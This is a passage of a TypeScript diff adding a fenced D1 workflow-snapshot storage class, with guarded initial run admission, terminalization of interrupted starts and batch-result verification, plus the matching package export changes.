+function terminalizationSnapshot(row: RawWorkflowSnapshot) {
+  const snapshot = record(JSON.parse(row.snapshot));
+  if (
+    !isRunStatus(snapshot.status) ||
+    typeof snapshot.runId !== 'string' ||
+    snapshot.runId !== row.runId
+  )
+    throw new Error('stored workflow snapshot is malformed');
+  const context =
+    snapshot.requestContext === undefined
+      ? {}
+      : record(snapshot.requestContext);
+  const rawProvenance = context[PROVENANCE];
+  if (rawProvenance === undefined || record(rawProvenance).version === 1)
+    return { snapshot, context, provenance: undefined, lifecycle: undefined };
+  const provenance = decodeProgressRunProvenance(rawProvenance);
+  const lifecycle = parseRunLifecycle(context[RUN_LIFECYCLE_CONTEXT_KEY]);
+  return { snapshot, context, provenance, lifecycle };
+}
+
+function sameStart(
+  actual: ProgressRunProvenance,
+  expected: ProgressRunProvenance,
+): boolean {
+  return (
+    actual.startToken === expected.startToken &&
+    actual.mutationEpoch === expected.mutationEpoch &&
+    actual.agentStart?.threaded === expected.agentStart?.threaded &&
+    actual.startIdentity?.owner.kind === expected.startIdentity?.owner.kind &&
+    actual.startIdentity?.owner.id === expected.startIdentity?.owner.id &&
+    actual.startIdentity?.target.kind === expected.startIdentity?.target.kind &&
+    actual.startIdentity?.target.id === expected.startIdentity?.target.id &&
+    (actual.startIdentity?.target.kind === 'agent'
+      ? actual.startIdentity.target.threadId
+      : undefined) ===
+      (expected.startIdentity?.target.kind === 'agent'
+        ? expected.startIdentity.target.threadId
+        : undefined)
+  );
+}
+
+function prepareTerminalization(
+  source: InitialTerminalizationRequest,
+  tablePrefix: string,
+) {
+  const {
+    expected: rawExpected,
+    execution: rawExecution,
+    attemptToken,
+    nowMs,
+  } = record(source);
+  const execution = normalizeD1RunExecutionIdentity(rawExecution);
+  const {
+    tablePrefix: expectedPrefix,
+    workflowId,
+    runId,
+    resourceId,
+    snapshot,
+    createdAt,
+    updatedAt,
+  } = record(rawExpected);
+  if (
+    expectedPrefix !== tablePrefix ||
+    execution.tablePrefix !== tablePrefix ||
+    workflowId !== execution.workflowId ||
+    runId !== execution.runId ||
+    (resourceId !== null && typeof resourceId !== 'string') ||
+    typeof snapshot !== 'string' ||
+    typeof createdAt !== 'string' ||
+    typeof updatedAt !== 'string' ||
+    !isPathSafeId(attemptToken) ||
+    typeof nowMs !== 'number' ||
+    !Number.isSafeInteger(nowMs) ||
+    nowMs < 0
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  let nowIso: string;
+  try {
+    nowIso = new Date(nowMs).toISOString();
+  } catch {
+    throw new InvalidExecutionIdentityError('admission');
+  }
+  const expected: RawWorkflowSnapshot = Object.freeze({
+    tablePrefix,
+    workflowId,
+    runId,
+    resourceId,
+    snapshot,
+    createdAt,
+    updatedAt,
+  });
+  let parsed: ReturnType<typeof terminalizationSnapshot>;
+  try {
+    parsed = terminalizationSnapshot(expected);
+  } catch (error) {
+    throw terminalizationUnreadable(error);
+  }
+  const { provenance, lifecycle, context } = parsed;
+  if (
+    !provenance ||
+    provenance.startToken !== execution.startToken ||
+    provenance.attemptToken !== attemptToken ||
+    provenance.initialAdmission !== true ||
+    provenance.resumeCounts.length !== 0 ||
+    lifecycle?.terminal ||
+    provenance.requestedBy !== provenance.startIdentity?.owner.id ||
+    provenance.requestedByKind !== provenance.startIdentity?.owner.kind ||
+    (context.runId !== undefined && context.runId !== runId) ||
+    (context['breakwater.workflowScope'] !== undefined &&
+      context['breakwater.workflowScope'] !== workflowId) ||
+    (provenance.startIdentity?.target.kind === 'workflow' &&
+      provenance.startIdentity.target.id !== workflowId)
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  assertInitialSnapshot(parsed.snapshot, runId);
+  try {
+    decodeInitialRunProvenance(context[PROVENANCE], 'present');
+  } catch (error) {
+    throw terminalizationUnreadable(error);
+  }
+  const nextProvenance = { ...record(context[PROVENANCE]) };
+  delete nextProvenance.initialAdmission;
+  const nextContext: Record<string, unknown> = {
+    ...context,
+    [PROVENANCE]: nextProvenance,
+  };
+  let fields = terminalStateUpdate({
+    status: 'failed',
+    error: {
+      name: 'StartOutcomeUnknown',
+      message:
+        'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.',
+    },
+  });
+  let cleanup: ReturnType<typeof terminalCleanupFor>;
+  const intent = lifecycle?.transitionIntent;
+  if (intent) {
+    if (hasDisputedSettlement(lifecycle))
+      throw new RunLifecycleBlockedError({
+        code: 'DISPUTED_SETTLEMENT',
+        message:
+          'run termination is blocked while an economic operation is disputed',
+      });
+    try {
+      const next = projectTerminalLifecycle(
+        lifecycle,
+        intent.status,
+        nowMs,
+        intent.replayPrincipals,
+      );
+      nextContext[RUN_LIFECYCLE_CONTEXT_KEY] = next;
+      fields = {
+        ...terminalStateFields(intent.status),
+        error: {
+          name:
+            intent.status === 'cancelled'
+              ? 'RunCancelledError'
+              : 'RunTimedOutError',
+          message: next.terminal.error.message,
+        },
+      };
+      cleanup = terminalCleanupFor(next);
+    } catch (error) {
+      throw terminalizationUnreadable(error);
+    }
+  }
+  const replacement = Object.freeze({
+    ...expected,
+    updatedAt: nowIso,
+    snapshot: JSON.stringify({
+      ...parsed.snapshot,
+      ...fields,
+      requestContext: nextContext,
+      timestamp: nowMs,
+    }),
+  });
+  return { expected, replacement, provenance, cleanup };
+}
+
+/** Owned initial admission and repair; unscoped persistence delegates to the adapter. */
+export class FencedWorkflowsStorageD1 extends WorkflowsStorageD1 {
+  readonly [FENCED_WORKFLOW_STORAGE]?: FencedWorkflowAdmissionCapability;
+  readonly #admission?: FencedWorkflowAdmissionCapability;
+  readonly #scopes = new AsyncLocalStorage<AdmissionScope>();
+
+  constructor(config: D1DomainConfig) {
+    const captured = captureD1DomainConfig(config);
+    super(captured);
+    if ('binding' in captured && admissionDatabase(captured.binding)) {
+      const database = captured.binding;
+      const tablePrefix = (captured.tablePrefix ?? '').toLowerCase();
+      this.#admission = Object.freeze({
+        database,
+        tablePrefix,
+        withInitialAdmission: <T>(
+          input: InitialRunAdmission,
+          createRun: () => Promise<T>,
+        ) => this.#withInitialAdmission(input, createRun),
+        readSnapshot: (address: { workflowId: string; runId: string }) =>
+          readRawWorkflowSnapshot(
+            database,
+            {
+              tablePrefix,
+              workflowId: address.workflowId,
+              runId: address.runId,
+            },
+            { missingTable: 'empty' },
+          ),
+        terminalizeInitialAdmission: (request: InitialTerminalizationRequest) =>
+          this.#terminalizeInitialAdmission(request),
+      });
+      this[FENCED_WORKFLOW_STORAGE] = this.#admission;
+    }
+  }
+
+  protected withInitialTerminalizationLock<T>(
+    _workflowName: string,
+    _runId: string,
+    operation: () => Promise<T>,
+  ): Promise<T> {
+    return operation();
+  }
+
+  async #terminalizeInitialAdmission(
+    source: InitialTerminalizationRequest,
+  ): Promise<InitialTerminalizationResult> {
+    const capability = this.#admission;
+    if (!capability) throw new InvalidExecutionIdentityError('admission');
+    const frame = prepareTerminalization(source, capability.tablePrefix);
+    const { expected, replacement, cleanup, provenance } = frame;
+    const { database } = capability;
+    return this.withInitialTerminalizationLock(
+      expected.workflowId,
+      expected.runId,
+      async () => {
+        const readback = async (): Promise<InitialTerminalizationResult> => {
+          const row = await readRawWorkflowSnapshot(database, expected, {
+            missingTable: 'error',
+          });
+          if (!row) return { kind: 'conflict' };
+          if (sameFields({ ...row }, { ...replacement }))
+            return {
+              kind: 'already-terminalized',
+              row,
+              ...(cleanup ? { cleanup } : {}),
+            };
+          const current = terminalizationSnapshot(row);
+          if (
+            current.provenance &&
+            sameStart(current.provenance, provenance) &&
+            current.snapshot.status !== 'pending'
+          ) {
+            const currentCleanup = terminalCleanupFor(current.lifecycle);
+            return {
+              kind: 'progressed',
+              row,
+              ...(currentCleanup ? { cleanup: currentCleanup } : {}),
+            };
+          }
+          return { kind: 'conflict', row };
+        };
+        let result: unknown;
+        try {
+          result = await database
+            .prepare(`UPDATE "${expected.tablePrefix}mastra_workflow_snapshot"
+          SET snapshot = ?1, updatedAt = ?2
+          WHERE workflow_name = ?3 AND run_id = ?4
+            AND snapshot = ?5 AND createdAt IS ?6 AND updatedAt IS ?7
+            AND resourceId IS ?8
+          RETURNING workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt`)
+            .bind(
+              replacement.snapshot,
+              replacement.updatedAt,
+              expected.workflowId,
+              expected.runId,
+              expected.snapshot,
+              expected.createdAt,
+              expected.updatedAt,
+              expected.resourceId,
+            )
+            .all();
+        } catch (error) {
+          try {
+            const recovered = await readback();
+            if (recovered.kind !== 'conflict') return recovered;
+          } catch {
+            /* The write's original uncertainty remains authoritative. */
+          }
+          throw terminalizationUnreadable(error);
+        }
+        try {
+          const captured = captureStatementResult(result);
+          const row = decodeRawWorkflowSnapshotResult(captured, expected);
+          const changes = captured.meta?.changes;
+          if (
+            captured.meta &&
+            (!Number.isSafeInteger(changes) ||
+              changes !== captured.results.length)
+          )
+            throw new Error(
+              'terminalization changes disagree with returned rows',
+            );
+          if (!row) return await readback();
+          if (!sameFields({ ...row }, { ...replacement }))
+            throw new Error('terminalization returned a different row');
+          return { kind: 'terminalized', row, ...(cleanup ? { cleanup } : {}) };
+        } catch (error) {
+          throw terminalizationUnreadable(error);
+        }
+      },
+    );
+  }
+
+  async #withInitialAdmission<T>(
+    source: InitialRunAdmission,
+    createRun: () => Promise<T>,
+  ): Promise<{ value: T; witness: InitialAdmissionWitness }> {
+    const parent = this.#scopes.getStore();
+    if (parent) {
+      parent.failed = true;
+      parent.failure = new InvalidExecutionIdentityError('admission');
+      throw parent.failure;
+    }
+    const input = captureAdmission(source);
+    const capability = this.#admission;
+    if (
+      !capability ||
+      typeof createRun !== 'function' ||
+      input.execution.tablePrefix !== capability.tablePrefix ||
+      !input.fence.usesDatabase(capability.database) ||
+      (input.reservationStore &&
+        !input.reservationStore.usesDatabase(capability.database))
+    )
+      throw new InvalidExecutionIdentityError('admission');
+    const scope: AdmissionScope = {
+      input,
+      open: true,
+      attempted: false,
+      failed: false,
+    };
+    try {
+      return await this.#scopes.run(scope, async () => {
+        const value = await Reflect.apply(createRun, undefined, []);
+        if (scope.failed) throw scope.failure;
+        if (!scope.witness) {
+          throw new ExecutionFenceUnreadableError(
+            'initial run admission has no persistence witness',
+          );
+        }
+        return { value, witness: scope.witness };
+      });
+    } finally {
+      scope.open = false;
+    }
+  }
+
+  override async persistWorkflowSnapshot(args: PersistInput): Promise<void> {
+    const scope = this.#scopes.getStore();
+    if (!scope) return super.persistWorkflowSnapshot(args);
+    if (
+      !scope.open ||
+      scope.attempted ||
+      args.workflowName !== scope.input.execution.workflowId ||
+      args.runId !== scope.input.execution.runId
+    ) {
+      scope.failed = true;
+      scope.failure = new InvalidExecutionIdentityError('admission');
+      throw scope.failure;
+    }
+    scope.attempted = true;
+    try {
+      Reflect.apply(scope.input.onInitialWriteAttempt, undefined, []);
+      const { row, nowMs } = this.#initialRow(args, scope.input);
+      scope.witness = await this.#insert(scope.input, row, nowMs);
+    } catch (error) {
+      scope.failed = true;
+      scope.failure = error;
+      throw error;
+    }
+  }
+
+  #initialRow(
+    args: PersistInput,
+    input: InitialRunAdmission,
+  ): { row: RawWorkflowSnapshot; nowMs: number } {
+    const { snapshot: original, resourceId, createdAt, updatedAt } = args;
+    const snapshot = { ...original };
+    assertInitialSnapshot(snapshot, input.execution.runId);
+    const provenance = decodeInitialRunProvenance(
+      { ...record(input.requestContext[PROVENANCE]), initialAdmission: true },
+      'present',
+    );
+    snapshot.requestContext = {
+      ...input.requestContext,
+      [PROVENANCE]: provenance,
+    };
+    const nowMs = Date.now();
+    if (!Number.isSafeInteger(nowMs) || nowMs < 0)
+      throw new InvalidExecutionIdentityError('admission');
+    const nowIso = new Date(nowMs).toISOString();
+    const resource: unknown = resourceId;
+    const serializedResource =
+      resource == null
+        ? null
+        : resource instanceof Date
+          ? resource.toISOString()
+          : typeof resource === 'object'
+            ? JSON.stringify(resource)
+            : resource;
+    if (serializedResource !== null && typeof serializedResource !== 'string')
+      throw new InvalidExecutionIdentityError('admission');
+    const contextBytes = JSON.stringify(snapshot.requestContext);
+    const bytes = JSON.stringify(snapshot);
+    const serialized = record(JSON.parse(bytes));
+    assertInitialSnapshot(serialized, input.execution.runId);
+    if (JSON.stringify(serialized.requestContext) !== contextBytes)
+      throw new InvalidExecutionIdentityError('admission');
+    const serializedContext = record(serialized.requestContext);
+    decodeInitialRunProvenance(serializedContext[PROVENANCE], 'present');
+    if (
+      (serializedContext.runId !== undefined &&
+        serializedContext.runId !== input.execution.runId) ||
+      (serializedContext['breakwater.workflowScope'] !== undefined &&
+        serializedContext['breakwater.workflowScope'] !==
+          input.execution.workflowId)
+    )
+      throw new InvalidExecutionIdentityError('admission');
+    const created = createdAt ? createdAt.toISOString() : nowIso;
+    const updated = updatedAt ? updatedAt.toISOString() : nowIso;
+    if (typeof created !== 'string' || typeof updated !== 'string')
+      throw new InvalidExecutionIdentityError('admission');
+    const row: RawWorkflowSnapshot = Object.freeze({
+      tablePrefix: input.execution.tablePrefix,
+      workflowId: input.execution.workflowId,
+      runId: input.execution.runId,
+      resourceId: serializedResource,
+      snapshot: bytes,
+      createdAt: created,
+      updatedAt: updated,
+    });
+    return { row, nowMs };
+  }
+
+  async #insert(
+    input: InitialRunAdmission,
+    row: RawWorkflowSnapshot,
+    nowMs: number,
+  ): Promise<InitialAdmissionWitness> {
+    const capability = this.#admission;
+    if (!capability) throw new InvalidExecutionIdentityError('admission');
+    const { database } = capability;
+    await input.fence.seed('open');
+    const observed = await input.fence.readForAdmission();
+    const semanticValues = executionFenceAdmissionValues(observed);
+    let schema: string;
+    try {
+      schema = await captureExecutionFenceAdmissionSchema(
+        await database
+          .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`)
+          .all(),
+      );
+    } catch (cause) {
+      throw new ExecutionFenceUnreadableError(
+        'initial admission requires current fence schema',
+        { cause },
+      );
+    }
+    if (
+      input.reservation &&
+      !sameReservation(
+        await input.reservationStore?.readForAdmission(input.reservation.key),
+        input.reservation,
+      )
+    )
+      throw new RunAdmissionConflictError('reservation-changed');
+    const values: unknown[] = [];
+    const bind = (value: unknown) => {
+      values.push(value);
+      return `?${values.length}`;
+    };
+    const fields = [
+      row.workflowId,
+      row.runId,
+      row.resourceId,
+      row.snapshot,
+      row.createdAt,
+      row.updatedAt,
+    ].map(bind);
+    const epoch = bind(input.mutationEpoch ?? null);
+    const semantic = semanticValues.map(bind);
+    const schemaParameter = bind(schema);
+    const proofRevision = bind(input.proof?.transitionRevision ?? null);
+    const proofKey = bind(input.proof?.key ?? null);
+    const reservation = input.reservation
+      ? `AND EXISTS (SELECT 1 FROM ${START_IDEMPOTENCY_TABLE} AS r WHERE ${reservationPredicate(input.reservation, bind, 'r.', fields[1])})`
+      : '';
+    const proofEpoch = bind(input.proof?.mutationEpoch ?? null);
+    const owner = input.runOwnerGuard
+      ? `AND EXISTS (SELECT 1 FROM ${RESOURCE_OWNER_TABLE} AS o WHERE o.resource_kind = 'run' AND o.resource_id = ${fields[1]}
+      AND o.owner_kind = ${bind(input.runOwnerGuard.owner.kind)} AND o.owner_id = ${bind(input.runOwnerGuard.owner.id)}
+      AND (o.reservation_token IS NULL OR o.reservation_token = ${bind(input.runOwnerGuard.reservationToken)}))`
+      : '';
+    const fencePredicate = executionFenceAdmissionSql({
+      callerEpoch: epoch,
+      semantic,
+      schema: schemaParameter,
+      statePredicate: `f.state COLLATE BINARY = 'open' OR
+        (f.state COLLATE BINARY = 'proof-only' AND f.proof_key COLLATE BINARY = ${proofKey}
+          AND f.transition_revision = ${proofRevision} AND f.mutation_epoch = ${proofEpoch}
+          AND f.proof_run_id IS NULL AND f.proof_table_prefix IS NULL
+          AND f.proof_workflow_id IS NULL AND f.proof_start_token IS NULL)`,
+    });
+    const statements = [
+      database
+        .prepare(`INSERT INTO "${row.tablePrefix}mastra_workflow_snapshot"
+      (workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt)
+      SELECT ${fields.join(', ')}
+      WHERE ${fencePredicate} ${reservation} ${owner}
+      ON CONFLICT (workflow_name, run_id) DO NOTHING
+      RETURNING workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt`)
+        .bind(...values),
+    ];
+    if (input.reservation) {
+      const keyValues: unknown[] = [
+        input.execution.startToken,
+        row.tablePrefix,
+        row.workflowId,
+      ];
+      const predicate = reservationPredicate(input.reservation, (value) => {
+        keyValues.push(value);
+        return `?${keyValues.length}`;
+      });
+      statements.push(
+        database
+          .prepare(`UPDATE ${START_IDEMPOTENCY_TABLE}
+        SET start_token = ?1, start_table_prefix = ?2, start_workflow_id = ?3
+        WHERE changes() = 1 AND ${predicate} RETURNING *`)
+          .bind(...keyValues),
+      );
+    }
+    statements.push(
+      database
+        .prepare(`UPDATE ${EXECUTION_FENCE_TABLE}
+      SET proof_run_id = ?1, proof_table_prefix = ?2, proof_workflow_id = ?3, proof_start_token = ?4, updated_at = ?5
+      WHERE changes() = 1 AND id = 'deployment' AND state = 'proof-only' AND proof_key = ?6
+        AND mutation_epoch = ?7 AND transition_revision = ?8
+        AND proof_run_id IS NULL AND proof_table_prefix IS NULL AND proof_workflow_id IS NULL AND proof_start_token IS NULL RETURNING *`)
+        .bind(
+          row.runId,
+          row.tablePrefix,
+          row.workflowId,
+          input.execution.startToken,
+          nowMs,
+          input.proof?.key ?? null,
+          input.proof?.mutationEpoch ?? null,
+          input.proof?.transitionRevision ?? null,
+        ),
+    );
+    let result: unknown;
+    try {
+      result = await database.batch(statements);
+    } catch (error) {
+      try {
+        if (await this.#converged(database, input, row, observed, nowMs))
+          return Object.freeze({ execution: input.execution, row });
+      } catch {
+        /* The write failure remains the cause of an uncertain outcome. */
+      }
+      throw new ExecutionFenceUnreadableError(
+        'initial run admission outcome is not readable',
+        { cause: error },
+      );
+    }
+    const positive = this.#decodeBatch(result, input, row, observed, nowMs);
+    if (positive) return Object.freeze({ execution: input.execution, row });
+    const refusal = await this.#diagnoseZero(database, input, observed);
+    throw definitiveInitialAdmissionRefusal(input.execution, refusal);
+  }
+
+  #decodeBatch(
+    result: unknown,
+    input: InitialRunAdmission,
+    row: RawWorkflowSnapshot,
+    observed: ExecutionFenceAdmissionObservation,
+    nowMs: number,
+  ): boolean {
+    try {
+      const captured = captureBatchResults(result, input.reservation ? 3 : 2);
+      const counts = captured.map(({ results, meta }) => {
+        if (
+          results.length > 1 ||
+          (meta &&
+            (!Number.isSafeInteger(meta.changes) ||
+              meta.changes !== results.length))
+        )
+          throw new Error('initial statement changes contradict returned rows');
+        return results.length;
+      });
+      if (counts[0] === 0) {
+        if (counts.some((count) => count !== 0))
+          throw new Error('zero INSERT changed a participant');
+        return false;
+      }
+      const actual = decodeRawWorkflowSnapshotResult(
+        captured[0],
+        input.execution,
+      );
+      if (!actual || !sameFields({ ...actual }, { ...row }))
+        throw new Error('initial INSERT returned different bytes');
+      if (
+        input.reservation &&
+        !sameReservation(
+          decodeStartReservationAdmissionResult(captured[1]),
+          input.reservation,
+          input.execution,
+        )
+      )
+        throw new Error('initial binding is inconsistent');
+      const proofRows = snapshotResultRows(captured[captured.length - 1]);
+      const proofRow = proofRows[0];
+      if (observed.reading.state === 'proof-only') {
+        if (
+          proofRows.length !== 1 ||
+          proofRow === undefined ||
+          !sameFields(
+            { ...decodeExecutionFenceAdmissionRow(proofRow).raw },
+            {
+              ...observed.raw,
+              proof_run_id: row.runId,
+              proof_table_prefix: row.tablePrefix,
+              proof_workflow_id: row.workflowId,
+              proof_start_token: input.execution.startToken,
+              updated_at: nowMs,
+            },
+          )
+        )
+          throw new Error('initial proof binding is inconsistent');
+      } else if (proofRows.length !== 0)
+        throw new Error('open admission changed proof');
+      return true;
+    } catch (error) {
+      throw new ExecutionFenceUnreadableError(
+        'initial run admission batch result is not readable',
+        { cause: error },
+      );
+    }
+  }
+
+  async #converged(
+    database: InitialAdmissionDatabase,
+    input: InitialRunAdmission,
+    row: RawWorkflowSnapshot,
+    observed: ExecutionFenceAdmissionObservation,
+    nowMs: number,
+  ): Promise<boolean> {
+    const raw = prepareRawWorkflowSnapshotRead(database, input.execution);
+    const statements: SnapshotStatement[] = [raw.statement];
+    if (input.reservation)
+      statements.push(
+        database
+          .prepare(
+            `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ? LIMIT 2`,
+          )
+          .bind(input.reservation.key),
+      );
+    if (observed.reading.state === 'proof-only')
+      statements.push(
+        database.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`),
+      );
+    if (input.reservation)
+      statements.push(
+        database.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`),
+      );
+    if (observed.reading.state === 'proof-only')
+      statements.push(
+        database.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`),
+      );
+    const results = captureBatchResults(
+      await database.batch(statements),
+      statements.length,
+    );
+    let index = 0;
+    const actual = decodeRawWorkflowSnapshotResult(
+      results[index++],
+      raw.address,
+    );
+    const reservation = input.reservation
+      ? decodeStartReservationAdmissionResult(results[index++])
+      : undefined;
+    const proofRows =
+      observed.reading.state === 'proof-only'
+        ? snapshotResultRows(results[index++])
+        : undefined;
+    if (input.reservation)
+      validateStartReservationAdmissionSchema(results[index++]);
+    if (proofRows)
+      await validateExecutionFenceAdmissionSchema(results[index++]);
+    if (
+      !actual ||
+      !sameFields({ ...actual }, { ...row }) ||
+      (input.reservation &&
+        !sameReservation(reservation, input.reservation, input.execution))
+    )
+      return false;
+    const snapshot = record(JSON.parse(actual.snapshot));
+    const provenance = decodeInitialRunProvenance(
+      record(snapshot.requestContext)[PROVENANCE],
+      'present',
+    );
+    if (
+      provenance.startToken !== input.execution.startToken ||
+      provenance.attemptToken !== input.attemptToken
+    )
+      return false;
+    const proofRow = proofRows?.[0];
+    return (
+      !proofRows ||
+      (proofRows.length === 1 &&
+        proofRow !== undefined &&
+        sameFields(
+          { ...decodeExecutionFenceAdmissionRow(proofRow).raw },
+          {
+            ...observed.raw,
+            proof_run_id: row.runId,
+            proof_table_prefix: row.tablePrefix,
+            proof_workflow_id: row.workflowId,
+            proof_start_token: input.execution.startToken,
+            updated_at: nowMs,
+          },
+        ))
+    );
+  }
+
+  async #diagnoseZero(
+    database: InitialAdmissionDatabase,
+    input: InitialRunAdmission,
+    observed: ExecutionFenceAdmissionObservation,
+  ): Promise<DoStatusError> {
+    try {
+      const [current, snapshot, reservation, owner] = await Promise.all([
+        input.fence.readForAdmission(),
+        readRawWorkflowSnapshot(database, input.execution, {
+          missingTable: 'error',
+        }),
+        input.reservation
+          ? input.reservationStore?.readForAdmission(input.reservation.key)
+          : undefined,
+        input.runOwnerGuard
+          ? this.#readOwner(database, input.execution.runId)
+          : undefined,
+      ]);
+      if (reservation && input.reservation) {
+        if (
+          reservation.owner.kind !== input.reservation.owner.kind ||
+          reservation.owner.id !== input.reservation.owner.id
+        )
+          return new StartReservationOwnerMismatchError(input.reservation.key);
+        if (
+          reservation.targetKind !== input.reservation.targetKind ||
+          reservation.targetId !== input.reservation.targetId
+        )
+          return new StartReservationTargetMismatchError(
+            input.reservation.key,
+            reservation,
+          );
+      }
+      if (
+        input.runOwnerGuard &&
+        (!owner ||
+          owner.owner_kind !== input.runOwnerGuard.owner.kind ||
+          owner.owner_id !== input.runOwnerGuard.owner.id ||
+          (owner.reservation_token !== null &&
+            owner.reservation_token !== input.attemptToken))
+      )
+        return new RunAdmissionConflictError('run-owner-changed');
+      if (input.reservation && !sameReservation(reservation, input.reservation))
+        return new RunAdmissionConflictError('reservation-changed');
+      assertMutationEpoch(current.reading, input.mutationEpoch);
+      const stateAllowsStart = admitsRunStart(
+        current.reading,
+        input.proof?.key,
+      );
+      const proofRoundMatches =
+        current.reading.state !== 'proof-only' ||
+        (input.proof !== undefined &&
+          current.reading.mutationEpoch === input.proof.mutationEpoch &&
+          current.reading.transitionRevision ===
+            input.proof.transitionRevision);
+      const proofSlotUnbound =
+        current.raw.proof_run_id === null &&
+        current.raw.proof_table_prefix === null &&
+        current.raw.proof_workflow_id === null &&
+        current.raw.proof_start_token === null;
+      if (
+        !stateAllowsStart ||
+        !proofRoundMatches ||
+        (current.reading.state === 'proof-only' && !proofSlotUnbound)
+      )
+        return new ExecutionFencedError(
+          current.reading.state,
+          'initial run admission',
+        );
+      if (snapshot) return new RunAdmissionConflictError('run-exists');
+      const { updated_at: _previousTime, ...previous } = observed.raw;
+      return new RunAdmissionConflictError(
+        sameFields({ ...current.raw }, previous)
+          ? 'admission-raced'
+          : 'fence-changed',
+      );
+    } catch (error) {
+      if (
+        error instanceof DoStatusError &&
+        error.reason?.code === 'MUTATION_EPOCH_MISMATCH'
+      )
+        return error;
+      return new ExecutionFenceUnreadableError(
+        'initial run admission readback is not readable',
+        { cause: error },
+      );
+    }
+  }
+
+  async #readOwner(
+    database: InitialAdmissionDatabase,
+    runId: string,
+  ): Promise<Record<string, unknown> | undefined> {
+    const rows = snapshotResultRows(
+      await database
+        .prepare(
+          `SELECT resource_kind, resource_id, owner_kind, owner_id, reservation_token FROM ${RESOURCE_OWNER_TABLE} WHERE resource_kind = 'run' AND resource_id = ? LIMIT 2`,
+        )
+        .bind(runId)
+        .all(),
+    );
+    if (rows.length > 1) throw new Error('run owner is not a singleton');
+    const row = rows[0];
+    if (!row) return undefined;
+    const captured = {
+      resource_kind: row.resource_kind,
+      resource_id: row.resource_id,
+      owner_kind: row.owner_kind,
+      owner_id: row.owner_id,
+      reservation_token: row.reservation_token,
+    };
+    if (
+      captured.resource_kind !== 'run' ||
+      captured.resource_id !== runId ||
+      !isExecutionPrincipalKind(captured.owner_kind) ||
+      !isExecutionPrincipalId(captured.owner_id) ||
+      (captured.reservation_token !== null &&
+        !isPathSafeId(captured.reservation_token))
+    )
+      throw new Error('run owner row is malformed');
+    return captured;
+  }
+}
diff --git a/packages/flowsafe/src/do-runner/index.ts b/packages/flowsafe/src/do-runner/index.ts
index 342ba90d..8ba06e04 100644
--- a/packages/flowsafe/src/do-runner/index.ts
+++ b/packages/flowsafe/src/do-runner/index.ts
@@ -24,6 +24,8 @@ export type {
   RunArtifactPurger,
   RunDeadlineCandidate,
   RunDeadlineCursor,
+  RunRetentionCursor,
+  RunRetentionScanPosition,
   SnapshotDatabase,
   SnapshotStatement,
   SweepExpiredRunDeadlinesOptions,
@@ -79,6 +81,31 @@ export {
   type DurableObjectRunOwner,
   type DurableObjectRunOwnershipStore,
 } from './durable-object.js';
+export {
+  assertMutationEpoch,
+  type D1RunExecutionIdentity,
+  type D1StartExecutionIdentity,
+  InvalidExecutionIdentityError,
+  InvalidMutationEpochError,
+  isRunStartPendingError,
+  MUTATION_EPOCH_HEADER,
+  type MutationEpochContext,
+  MutationEpochMismatchError,
+  mutationEpochFromHeader,
+  normalizeD1RunExecutionIdentity,
+  normalizeMutationEpoch,
+  normalizeRunExecutionIdentity,
+  normalizeStartExecutionIdentity,
+  normalizeStartIdentity,
+  type ProofEntryExpectation,
+  type RunAdmissionConflictClassification,
+  RunAdmissionConflictError,
+  type RunExecutionIdentity,
+  RunStartPendingError,
+  type StartExecutionIdentity,
+  type StartIdentity,
+  stampMutationEpoch,
+} from './execution-admission.js';
 export {
   assertNoReservedExecutionContext,
   findReservedExecutionContextKey,
@@ -106,6 +133,7 @@ export type {
   ExecutionFenceStatement,
   ExecutionFenceStoreOptions,
   ExecutionFenceTransition,
+  ExecutionFenceVersionedReading,
   ExecutionFenceWiring,
   // One arm of ExecutionFenceRefusal, published because that union is: a
   // consumer that catches a fence refusal on the far side of a Durable Object
@@ -137,6 +165,16 @@ export {
   readExecutionFence,
 } from './execution-fence.js';
 export { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js';
+export {
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowAdmissionCapability,
+  type InitialAdmissionDatabase,
+  type InitialAdmissionWitness,
+  type InitialRunAdmission,
+  type InitialTerminalizationRequest,
+  type InitialTerminalizationResult,
+} from './fenced-workflow-capability.js';
+export { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js';
 export type { HubStreamEvent, PresenceMember } from './hub-do.js';
 export { HUB_INSTANCE_NAME, HubDurableObject } from './hub-do.js';
 export type {
@@ -147,6 +185,7 @@ export type {
   StorageInitOptions,
 } from './init.js';
 export { init } from './init.js';
+export { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js';
 // The drain inventory: the read-only surface an operator proves a deployment
 // empty with, and the table census that keeps that proof complete as new
 // tables arrive.
@@ -189,10 +228,13 @@ export type {
   RunEconomicOperation,
   RunLifecyclePrincipal,
   RunScheduleDispatch,
+  RunTerminalCleanup,
   RunTerminalErrorEnvelope,
   RunTerminalStatus,
 } from './run-lifecycle.js';
 export type {
+  AuthoritativeStartState,
+  RecoveredStart,
   RequestContextProvider,
   ResumeRunOptions,
   RunLeg,
@@ -242,13 +284,16 @@ export { resolveScheduleStartOwner } from './schedule-source.js';
 export type {
   IdempotentStartDecision,
   IdempotentStartSurface,
+  PersistedStartResult,
   StartIdempotencyDatabase,
   StartIdempotencyStatement,
   StartIdempotencyStoreOptions,
   StartIdempotencyWiring,
   StartReservation,
+  StartReservationBinding,
   StartReservationOutcome,
   StartReservationOwner,
+  StartReservationReading,
   StartReservationRefusal,
   StartReservationRequest,
   StartReservationState,
@@ -262,7 +307,6 @@ export {
   InvalidStartIdempotencyRequestError,
   isStartReservationRefusal,
   requireStartIdempotency,
-  rollbackFencedStart,
   START_IDEMPOTENCY_DDL,
   START_IDEMPOTENCY_RUN_INDEX_DDL,
   START_IDEMPOTENCY_STATE_INDEX_DDL,
@@ -279,21 +323,14 @@ export {
   // answering the same key.
   startIdempotencyFor,
 } from './start-idempotency.js';
